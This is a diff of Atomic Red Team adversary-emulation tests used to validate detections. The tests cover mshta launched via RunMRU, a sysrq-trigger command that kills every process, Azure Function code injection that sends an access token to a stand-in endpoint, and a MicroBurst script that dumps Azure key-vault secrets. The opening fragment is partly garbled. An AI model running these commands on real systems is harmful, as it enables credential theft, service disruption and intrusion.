Uses AudioDeviceCmdlets to set the default recording device and simulate audio capture.
Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)
supported_platforms:
- windows
dependencies:
- description: AudioDeviceCmdlets module must be installed
prereq_command: |
if (Get-Module -ListAvailable -Name AudioDeviceCmdlets) { exit 0 } else { exit 1 }
get_prereq_command: |
Install with: Install-Module -Name AudioDeviceCmdlets -Force"
executor:
command: |
$mic = Get-AudioDevice -Recording
Set-AudioDevice -ID $mic.ID
Start-Sleep -Seconds 5
powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
name: powershell
- name: Registry artefact when application use microphone
-48
View File
@@ -32,8 +32,6 @@ Sometimes a user's action may be required to open it for deobfuscation or decryp
- [Atomic Test #10 - XOR decoding and command execution using Python](#atomic-test-10---xor-decoding-and-command-execution-using-python)
- [Atomic Test #11 - Expand CAB with expand.exe](#atomic-test-11---expand-cab-with-expandexe)
<br/>
@@ -500,50 +498,4 @@ echo "Install Python3"
<br/>
<br/>
## Atomic Test #11 - Expand CAB with expand.exe
Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.
**Supported Platforms:** Windows
**auto_generated_guid:** 9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| cab_path | Path to the CAB to expand (created if missing) | path | %TEMP%&#92;art-expand-test.cab|
| output_dir | Destination directory | path | %TEMP%&#92;art-expand-out|
#### Attack Commands: Run with `command_prompt`!
```cmd
mkdir "#{output_dir}" >nul 2>&1
echo hello from atomic red team > "PathToAtomicsFolder\T1140\src\art-expand-source.txt"
makecab "PathToAtomicsFolder\T1140\src\art-expand-source.txt" "#{cab_path}"
pushd "#{output_dir}"
expand "#{cab_path}" -F:* .
popd
```
#### Cleanup Commands:
```cmd
del "PathToAtomicsFolder\T1140\src\art-expand-source.txt" >nul 2>&1
del "#{cab_path}" >nul 2>&1
rmdir "#{output_dir}" /s /q >nul 2>&1
```
<br/>
-30
View File
@@ -300,35 +300,5 @@ atomic_tests:
cleanup_command:
name: bash
elevation_required: false
- name: Expand CAB with expand.exe
auto_generated_guid: 9f8b1c54-cb76-4d5e-bb1f-2f5c0e8f5a11
description: |
Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.
supported_platforms:
- windows
input_arguments:
cab_path:
description: Path to the CAB to expand (created if missing)
type: path
default: '%TEMP%\art-expand-test.cab'
output_dir:
description: Destination directory
type: path
default: '%TEMP%\art-expand-out'
executor:
name: command_prompt
elevation_required: false
command: |
mkdir "#{output_dir}" >nul 2>&1
echo hello from atomic red team > "PathToAtomicsFolder\T1140\src\art-expand-source.txt"
makecab "PathToAtomicsFolder\T1140\src\art-expand-source.txt" "#{cab_path}"
pushd "#{output_dir}"
expand "#{cab_path}" -F:* .
popd
cleanup_command: |
del "PathToAtomicsFolder\T1140\src\art-expand-source.txt" >nul 2>&1
del "#{cab_path}" >nul 2>&1
rmdir "#{output_dir}" /s /q >nul 2>&1
-37
View File
@@ -34,8 +34,6 @@ While [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently
- [Atomic Test #11 - Mirror Blast Emulation](#atomic-test-11---mirror-blast-emulation)
- [Atomic Test #12 - ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell](#atomic-test-12---clickfix-campaign---abuse-runmru-to-launch-mshta-via-powershell)
<br/>
@@ -673,39 +671,4 @@ reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security" /v "VBAWarnings"
<br/>
<br/>
## Atomic Test #12 - ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell
Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches `mshta.exe` with a remote payload.
This technique relies on user interaction (Win+R + Enter) to trigger execution.
Used in social engineering campaigns that aim to bypass traditional startup methods.
Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
**Supported Platforms:** Windows
**auto_generated_guid:** 3f3120f0-7e50-4be2-88ae-54c61230cb9f
#### Attack Commands: Run with `powershell`!
```powershell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -Value '"C:\Windows\System32\mshta.exe" http://localhost/hello6.hta'
```
#### Cleanup Commands:
```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -ErrorAction SilentlyContinue
```
<br/>
-15
View File
@@ -423,18 +423,3 @@ atomic_tests:
& '.\Excel 2016.lnk' "PathToAtomicsFolder\T1204.002\bin\mirrorblast_emulation.xlsm"
cleanup_command: reg delete "HKCU\SOFTWARE\Microsoft\Office\16.0\Excel\Security" /v "VBAWarnings" /f
name: powershell
- name: ClickFix Campaign - Abuse RunMRU to Launch mshta via PowerShell
auto_generated_guid: 3f3120f0-7e50-4be2-88ae-54c61230cb9f
description: |
Simulates a ClickFix-style campaign by adding a malicious entry to the RunMRU registry key that launches `mshta.exe` with a remote payload.
This technique relies on user interaction (Win+R + Enter) to trigger execution.
Used in social engineering campaigns that aim to bypass traditional startup methods.
Reference: https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
supported_platforms:
- windows
executor:
command: |-
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -Value '"C:\Windows\System32\mshta.exe" http://localhost/hello6.hta'
cleanup_command: |-
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "atomictest" -ErrorAction SilentlyContinue
name: powershell
-30
View File
@@ -24,8 +24,6 @@ Adversaries may accomplish this by disabling individual services of high importa
- [Atomic Test #7 - Linux - Stop service by killing process using pkill](#atomic-test-7---linux---stop-service-by-killing-process-using-pkill)
- [Atomic Test #8 - Abuse of linux magic system request key for Send a SIGTERM to all processes](#atomic-test-8---abuse-of-linux-magic-system-request-key-for-send-a-sigterm-to-all-processes)
<br/>
@@ -301,32 +299,4 @@ sudo systemctl start #{service_name} 2> /dev/null
<br/>
<br/>
## Atomic Test #8 - Abuse of linux magic system request key for Send a SIGTERM to all processes
Adversaries with root or sufficient privileges Send a SIGTERM to all processes, except for init. By writing 'e' to /proc/sysrq-trigger, they can forced kill all processes, except for init.
**Supported Platforms:** Linux
**auto_generated_guid:** 6e76f56f-2373-4a6c-a63f-98b7b72761f1
#### Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)
```bash
echo "e" > /proc/sysrq-trigger
```
<br/>
-11
View File
@@ -153,14 +153,3 @@ atomic_tests:
sudo systemctl start #{service_name} 2> /dev/null
name: sh
elevation_required: true
- name: Abuse of linux magic system request key for Send a SIGTERM to all processes
auto_generated_guid: 6e76f56f-2373-4a6c-a63f-98b7b72761f1
description: |
Adversaries with root or sufficient privileges Send a SIGTERM to all processes, except for init. By writing 'e' to /proc/sysrq-trigger, they can forced kill all processes, except for init.
supported_platforms:
- linux
executor:
command: |
echo "e" > /proc/sysrq-trigger
name: bash
elevation_required: true
-96
View File
@@ -14,8 +14,6 @@ An adversary may deface systems internal to an organization in an attempt to int
- [Atomic Test #3 - ESXi - Change Welcome Message on Direct Console User Interface (DCUI)](#atomic-test-3---esxi---change-welcome-message-on-direct-console-user-interface-dcui)
- [Atomic Test #4 - Windows - Display a simulated ransom note via Notepad (non-destructive)](#atomic-test-4---windows---display-a-simulated-ransom-note-via-notepad-non-destructive)
<br/>
@@ -209,98 +207,4 @@ Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -O
<br/>
<br/>
## Atomic Test #4 - Windows - Display a simulated ransom note via Notepad (non-destructive)
Creates a temporary ransom-note text file and opens it in Notepad to
simulate ransomware "note display" behavior without making destructive
changes. SAFE and non-destructive.
**Supported Platforms:** Windows
**auto_generated_guid:** 0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| note_filename | File name for the simulated ransom note | string | ART-T1491-ransom-note.txt|
| pid_filename | File name for storing Notepad PID | string | ART-T1491-notepad.pid|
| note_title | Title at the top of the ransom note | string | !!! READ_ME_NOW !!!|
| note_body | The body of the ransom note (plain text) | string | Your files are SAFE. This is a TEST note for detection validation
by bak3n3k0. No data has been encrypted. This simulation exercises
detections for:
- notepad.exe launched with a ransom-themed text file
- creation of a ransom-themed text file in %TEMP%
NON-DESTRUCTIVE Atomic Red Team test.|
#### Attack Commands: Run with `powershell`!
```powershell
$notePath = Join-Path $env:TEMP "#{note_filename}"
$pidPath = Join-Path $env:TEMP "#{pid_filename}"
$Title = "#{note_title}"
$Body = "#{note_body}"
$header = $Title + "`r`n" + ('=' * $Title.Length) + "`r`n`r`n"
$content = $header + $Body
[System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8)
$p = Start-Process notepad.exe -ArgumentList "`"$notePath`"" -PassThru
$p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force
```
#### Cleanup Commands:
```powershell
try {
# 1. Kill all Notepad processes
Get-Process notepad -ErrorAction SilentlyContinue |
ForEach-Object {
Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue
}
# 2. Wait briefly for Windows to release file handles
Start-Sleep -Seconds 1
# 3. Force delete ransom note + PID file
$notePath = Join-Path $env:TEMP "ART-T1491-ransom-note.txt"
$pidPath = Join-Path $env:TEMP "ART-T1491-notepad.pid"
if (Test-Path $notePath) {
Remove-Item $notePath -Force -ErrorAction Stop
}
if (Test-Path $pidPath) {
Remove-Item $pidPath -Force -ErrorAction Stop
}
}
catch {
Write-Warning "Cleanup failed with error: $_"
}
```
#### Dependencies: Run with `command_prompt`!
##### Description: Notepad must be present on the system
##### Check Prereq Commands:
```cmd
where notepad
```
##### Get Prereq Commands:
```cmd
```
<br/>
-79
View File
@@ -153,82 +153,3 @@ atomic_tests:
name: command_prompt
elevation_required: false
- name: Windows - Display a simulated ransom note via Notepad (non-destructive)
auto_generated_guid: 0eeb68ce-e64c-4420-8d53-ad5bdc6f86d5
description: |
Creates a temporary ransom-note text file and opens it in Notepad to
simulate ransomware "note display" behavior without making destructive
changes. SAFE and non-destructive.
supported_platforms:
- windows
input_arguments:
note_filename:
description: File name for the simulated ransom note
type: string
default: "ART-T1491-ransom-note.txt"
pid_filename:
description: File name for storing Notepad PID
type: string
default: "ART-T1491-notepad.pid"
note_title:
description: Title at the top of the ransom note
type: string
default: "!!! READ_ME_NOW !!!"
note_body:
description: The body of the ransom note (plain text)
type: string
default: |
Your files are SAFE. This is a TEST note for detection validation
by bak3n3k0. No data has been encrypted. This simulation exercises
detections for:
- notepad.exe launched with a ransom-themed text file
- creation of a ransom-themed text file in %TEMP%
NON-DESTRUCTIVE Atomic Red Team test.
dependency_executor_name: command_prompt
dependencies:
- description: Notepad must be present on the system
prereq_command: "where notepad"
get_prereq_command: ""
executor:
name: powershell
elevation_required: false
command: |
$notePath = Join-Path $env:TEMP "#{note_filename}"
$pidPath = Join-Path $env:TEMP "#{pid_filename}"
$Title = "#{note_title}"
$Body = "#{note_body}"
$header = $Title + "`r`n" + ('=' * $Title.Length) + "`r`n`r`n"
$content = $header + $Body
[System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8)
$p = Start-Process notepad.exe -ArgumentList "`"$notePath`"" -PassThru
$p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force
cleanup_command: |
try {
# 1. Kill all Notepad processes
Get-Process notepad -ErrorAction SilentlyContinue |
ForEach-Object {
Stop-Process -Id $_.Id -Force -ErrorAction SilentlyContinue
}
# 2. Wait briefly for Windows to release file handles
Start-Sleep -Seconds 1
# 3. Force delete ransom note + PID file
$notePath = Join-Path $env:TEMP "ART-T1491-ransom-note.txt"
$pidPath = Join-Path $env:TEMP "ART-T1491-notepad.pid"
if (Test-Path $notePath) {
Remove-Item $notePath -Force -ErrorAction Stop
}
if (Test-Path $pidPath) {
Remove-Item $pidPath -Force -ErrorAction Stop
}
}
catch {
Write-Warning "Cleanup failed with error: $_"
}
+33 -204
View File
@@ -22,33 +22,19 @@ Application access tokens may function within a limited lifetime, limiting how l
## Atomic Tests
- [Atomic Test #1 - Azure - Functions code upload - Functions code injection via Blob upload](#atomic-test-1---azure---functions-code-upload---functions-code-injection-via-blob-upload)
- [Atomic Test #2 - Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token](#atomic-test-2---azure---functions-code-upload---functions-code-injection-via-file-share-modification-to-retrieve-the-functions-identity-access-token)
- [Atomic Test #1 - Azure - Dump All Azure Key Vaults with Microburst](#atomic-test-1---azure---dump-all-azure-key-vaults-with-microburst)
<br/>
## Atomic Test #1 - Azure - Functions code upload - Functions code injection via Blob upload
This test injects code into an Azure Function (RCE).
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Similar to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code.
Note:
- The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
## Atomic Test #1 - Azure - Dump All Azure Key Vaults with Microburst
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
**auto_generated_guid:** 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
@@ -57,216 +43,59 @@ Requirements:
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| storage_account_name | Name of storage account that is related to the Function | string | storage_account_name_example|
| container_name | Name of the container that contains the function blob | string | container_name_example|
| blob_name | Name of the function blob | string | blob_example|
| file_path_blob | Path to the function code file to upload as blob | path | $env:temp/T1528_function_code.zip|
| username | Azure AD username | string | |
| password | Azure AD password | string | T1082Az|
| output_file | File to dump results to | string | $env:temp&#92;T1528Test1.txt|
| subscription_id | Azure subscription id to search | string | |
#### Attack Commands: Run with `powershell`!
#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)
```powershell
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
$connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv
# Download blob for cleanup
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true
if ($LASTEXITCODE -eq 0) {
# Upload new blob version if download of existing blob succeeded
az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
} else {
Write-Output "Download original function code failed."
exit 1
}
}
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
```
#### Cleanup Commands:
```powershell
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
remove-item #{output_file} -force -erroraction silentlycontinue
```
#### Dependencies: Run with `powershell`!
##### Description: Azure CLI must be installed
##### Description: The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name Az -Force
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
```
<br/>
<br/>
## Atomic Test #2 - Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token
This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Once executed, the "https://changeme" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines).
Note:
- The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1528 "Azure - Functions code upload - Functions code injection via Blob upload".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
- Important: Change the https://changeme.net in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests.
- The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
Execution options: Defined by the input field execution_option
- insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File).
- replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).
**Supported Platforms:** Iaas:azure
**auto_generated_guid:** 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1
#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| storage_account_name | Name of storage account that is related to the Function | string | storage_account_name_example|
| execution_option | Chooses execution option insert_code, or replace_file | string | insert_code|
| file_share_name | Name of the file share that is related to the Function | string | file_share_name_example|
| file_path | Path to the Function file in the file share | path | site/wwwroot/function_app.py|
| code_to_insert_path | The code that will be injected into the Function | path | $PathToAtomicsFolder/T1528/src/code_to_insert.py|
#### Attack Commands: Run with `powershell`!
```powershell
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
# Download file for cleanup
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode
if ($LASTEXITCODE -eq 0) {
# Upload new funciton code if download of existing code succeeded
if ("#{execution_option}" -eq "insert_code") {
# Download file from file share for injection
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code download failed."
exit 1
}
Write-Output "File downloaded: $($tmpFunctionCode)"
$insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw # Load the content of the insert file
$content = Get-Content -Path $tmpFunctionCode -Raw # Inject code to file
$content = $insertContent + "`n" + $content # Insert the new code at the beginning
$content | Set-Content -Path $tmpFunctionCode # Write the modified content to the file
# Upload file to file share
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} elseif ("#{execution_option}" -eq "replace_file") {
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} else {
Write-Output "Please choose a valid execution_option"
exit 1
}
} else {
Write-Output "Download original function code failed."
exit 1
}
}
```
#### Cleanup Commands:
```powershell
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original f file if upload succeeded
if ("#{execution_option}" -eq "insert_code") {
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp file: $($tmpFunctionCode)"
}
# Delete tmp original file
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
```
#### Dependencies: Run with `powershell`!
##### Description: Azure CLI must be installed
##### Description: The Azure RM module must be installed.
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name Az -Force
Install-Module -Name AzureRM -Force -allowclobber
```
##### Description: The Azure module must be installed.
##### Check Prereq Commands:
```powershell
try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
```
##### Get Prereq Commands:
```powershell
Install-Module -Name Azure -Force -allowclobber
```
+47 -205
View File
@@ -1,218 +1,60 @@
attack_technique: T1528
display_name: 'Steal Application Access Token'
display_name: Steal Application Access Token
atomic_tests:
- name: Azure - Functions code upload - Functions code injection via Blob upload
auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43
- name: Azure - Dump All Azure Key Vaults with Microburst
auto_generated_guid: 1b83cddb-eaa7-45aa-98a5-85fb0a8807ea
description: |-
This test injects code into an Azure Function (RCE).
Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/
Similar to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net needs to be adapted in your packed function code.
Note:
- The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations).
- For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1528 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token".
- The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
Requirements:
- The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
- The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.
Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/
supported_platforms:
- iaas:azure
- iaas:azure
input_arguments:
storage_account_name:
username:
description: Azure AD username
type: string
default: storage_account_name_example
description: Name of storage account that is related to the Function
container_name:
default:
password:
description: Azure AD password
type: string
default: container_name_example
description: Name of the container that contains the function blob
blob_name:
default: T1082Az
output_file:
description: File to dump results to
type: string
default: blob_example
description: Name of the function blob
file_path_blob:
type: path
default: $env:temp/T1528_function_code.zip
description: Path to the function code file to upload as blob
default: $env:temp\T1528Test1.txt
subscription_id:
description: Azure subscription id to search
type: string
default:
dependency_executor_name: powershell
dependencies:
- description: Azure CLI must be installed
prereq_command: try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: Install-Module -Name Az -Force
- description: |
The Get-AzurePasswords script must exist in PathToAtomicsFolder\..\ExternalPayloads.
prereq_command: |
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"){exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/c771c665a2c71f9c5ba474869cd1c211ebee68fd/AzureRM/Get-AzurePasswords.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
- description: |
The Azure RM module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name AzureRM -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name AzureRM -Force -allowclobber
- description: |
The Azure module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name Azure -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name Azure -Force -allowclobber
executor:
command: |
az login # Log in to Azure CLI
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
$connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv
# Download blob for cleanup
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true
if ($LASTEXITCODE -eq 0) {
# Upload new blob version if download of existing blob succeeded
az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
} else {
Write-Output "Download original function code failed."
exit 1
}
}
cleanup_command: |-
az login # Log in to Azure CLI
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
if ($LASTEXITCODE -eq 0) {
Write-Output "Uploaded original version of function code."
# Delete tmp original blob file if upload succeeded
Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
Write-Output "Upload original function code failed."
}
import-module "PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file}
cat #{output_file}
cleanup_command: |
remove-item #{output_file} -force -erroraction silentlycontinue
name: powershell
